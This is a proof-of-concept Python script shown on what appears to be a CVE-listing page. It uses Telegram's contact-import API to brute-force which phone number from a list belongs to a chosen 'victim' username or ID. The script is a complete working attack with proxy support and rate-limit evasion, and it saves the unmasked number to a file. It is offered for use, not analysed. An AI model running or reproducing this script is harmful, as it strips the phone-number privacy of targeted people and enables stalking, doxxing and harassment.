4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / brute.py PY
### Compulsory settings
phone = '123456789012'                              # TODO: Your phone number
api_id = 1234567                                    # TODO: Your app api id
api_hash = '4964696F745365744170695F68617368'       # TODO: Your app api hash
numlist = "list.txt"                                # TODO: path to number list
username_or_id = 'graysuit'                         # TODO: victim username or user id. learn more: https://github.com/kotatogram/kotatogram-desktop/issues/274

### Optional settings
# proxy settings: Use MTPROTO proxy if telegram blocked in your country. All data is safe except IP. Get proxies at: https://t.me/ProxyMTProto
use_proxy = True                                    # Should use proxy ? Make True if yes.
proxy_server = 'firewall.firewall-gw.cam'           # DNS of proxy, ip or domain
proxy_secret = 'dd00000000000000000000000000000000' # Proxy secret, mostly hex encoded serves as password
proxy_port = 443                                    # Numeric port of proxy, normally 443

# script settings
should_resume = True                                # whether it should start reading numbers list from where left
threads = 19                                        # numbers to be tried on each try, don't increase else won't work
delay = 1                                           # delay in seconds on each try to prevent telegram blocks

import time,sys, os.path
from telethon import TelegramClient, events, sync, connection, functions, types
from telethon.tl.types import InputPhoneContact
from telethon.errors import FloodWaitError

def import_numbers(numbers):
    global delay, username_or_id
    while True:
        try:
            contact_list = []
            for number in numbers:
                new_contact = InputPhoneContact(client_id=0,phone=number, first_name="your friend",last_name="graysuit")
                contact_list.append(new_contact)
            contacts = client(functions.contacts.ImportContactsRequest(contact_list))
            if len(contacts.users) > 0:
                client(functions.contacts.DeleteContactsRequest(id=contacts.users))
                for user in contacts.users:
                    if username_or_id == str(user.id) or username_or_id == user.username:
                        print('Found:' + user.phone)
                        open('found.txt', 'a').write(str(user) + "\n")
                        sys.exit()
                    print("valid:" + str(user))
                    
            else:
                print(str(numbers))
            time.sleep(delay)    
            break    
        except FloodWaitError as e:
            print("Blocked for " + str(e.seconds) + " sec, waiting...")
            time.sleep(e.seconds + 1)

def brute_force():
    global threads,threads,numlist,should_resume
    current = 0
    current_numbers = []
    index = 0
    old_index = 1
    if should_resume:
        if os.path.isfile('index.txt'):
            old_index = int(open("index.txt", "r").read())
    with open(numlist) as phone_numbers:
        for number in phone_numbers:
            index += 1
            if should_resume:
                if not index == old_index:
                    continue
                should_resume = False   
            number = number.strip()
            current += 1
            current_numbers.append(number)
            if current >= threads:
                import_numbers(current_numbers)
                current_numbers.clear()
                current = 0
                open('index.txt', 'w').write(str(index)) 
        if len(current_numbers) > 0:
            import_numbers(current_numbers)

### Entry Point
client = None
if use_proxy:
    proxy_connect = connection.ConnectionTcpMTProxyRandomizedIntermediate
    client = TelegramClient(phone, api_id, api_hash, connection=proxy_connect, proxy=(proxy_server, proxy_port, proxy_secret))
else:
    client = TelegramClient(phone, api_id, api_hash)
client.connect()
if not client.is_user_authorized():
    client.send_code_request(phone)
    client.sign_in(phone, input('Enter code:'))
brute_force()